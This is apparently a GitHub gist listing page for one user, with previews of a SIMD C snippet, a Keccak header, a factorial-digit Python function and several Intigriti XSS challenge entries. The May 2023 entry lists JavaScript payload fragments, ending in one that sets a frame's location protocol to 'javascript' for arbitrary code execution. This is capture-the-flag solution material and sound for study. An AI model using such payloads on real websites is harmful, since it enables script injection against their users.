Siss3l / m128.c

Created July 28, 2023 23:48

Converting nucleotide ASCII characters to integers

	#include <stdio.h>
	#include <stdint.h>
	#include <immintrin.h>

	int main() { // Working often on https://www.onlinegdb.com \| gcc -O3 -mgfni -msse2 m128.c -o m128 && ./m128
	const __m128i r = _mm_gf2p8affine_epi64_epi8(_mm_set1_epi64((__m64)"AaCcGgTt"),_mm_set1_epi64((__m64)433471464134410240),0);
	for (int k=0;k<8;k++) {printf("(%c: %i)","AaCcGgTt"[k],((/int/uint8_t*)&r)[k]);} // (A: 0)(a: 0)(C: 1)(c: 1)(G: 2)(g: 2)(T: 3)(t: 3)
	return 0; // https://stackoverflow.com/q/28939652 \| Illegal instruction (core dumped) \| _mm512_load_epi64
	}

Siss3l / sha3.cpp

Last active February 11, 2025 00:35

Keccak Cryptanalysis

	#include <string>
	#include <vector>
	#include <sstream>
	#include <iostream>
	#include <algorithm>

	typedef unsigned char UINT8;
	typedef unsigned short UINT16;
	typedef unsigned int UINT32;
	typedef unsigned long long UINT64;

Siss3l / 0723.md

Last active February 11, 2025 00:36

Intigriti's July 2023 Web challenge thanks to @kavishkagihan

Intigriti July Challenge

Description

Siss3l / 0623.md

Last active February 11, 2025 00:36

Intigriti's June 2023 XSS web challenge thanks to @0xGodson_

Siss3l / 0523.js

Last active February 11, 2025 00:37

Intigriti's May 2023 XSS web challenge thanks to @RenwaX23

	xss = "'\xff'.codePointAt()"; // To obtain the number 255
	xss = "Date.length"; // To obtain the digit 7
	xss = "''+RegExp()"; // To return the pattern string "/(?:)/"
	xss = "''.split('')"; // To get an empty array as `Array []` (from https://github.com/denysdovhan/wtfjs)
	xss = "history.length"; // To get any number per page interaction, useful to avoid using like single quotes
	xss = "localStorage.x"; // From the user `localStorage` who will retrieve any contained value from the `x` key
	xss = "origin.match()"; // To get an array of one element as `['',index:0,input:'https://challenge-0523.intigriti.io',groups:undefined]`
	xss = "(''+RegExp()).at()"; // To return a slash string "/" with only 18 allowed characters
	xss = "(''+RegExp()).at()+(''+RegExp('t.ly'))+'testing'"; // To get a valid URL like "//t.ly/testing" of an URL shortener
	xss = "with(Reflect)set(get(frames,'locatio'+'n'),'pr\otocol','javascri\pt')"; // To get a XSS arbitrary code on `Chrome` with some url p

Siss3l / fact.py

Last active February 11, 2025 00:37

Returns the last nonzero digits of a factorial

	"""
	This code provides functions to find the last nonzero values of a positive factorial.
	"""


	def f(n: int, k: int) -> int:
	"""
	Returns the k last nonzero digits.
	.. note::
	As f(10**100, 13) is a Googolbang where the 13 last nonzero

	#include <stdio.h>
	#include <stdint.h>
	#include <immintrin.h>

	int main() { // Working often on https://www.onlinegdb.com \| gcc -O3 -mgfni -msse2 m128.c -o m128 && ./m128
	const __m128i r = _mm_gf2p8affine_epi64_epi8(_mm_set1_epi64((__m64)"AaCcGgTt"),_mm_set1_epi64((__m64)433471464134410240),0);
	for (int k=0;k<8;k++) {printf("(%c: %i)","AaCcGgTt"[k],((/int/uint8_t*)&r)[k]);} // (A: 0)(a: 0)(C: 1)(c: 1)(G: 2)(g: 2)(T: 3)(t: 3)
	return 0; // https://stackoverflow.com/q/28939652 \| Illegal instruction (core dumped) \| _mm512_load_epi64
	}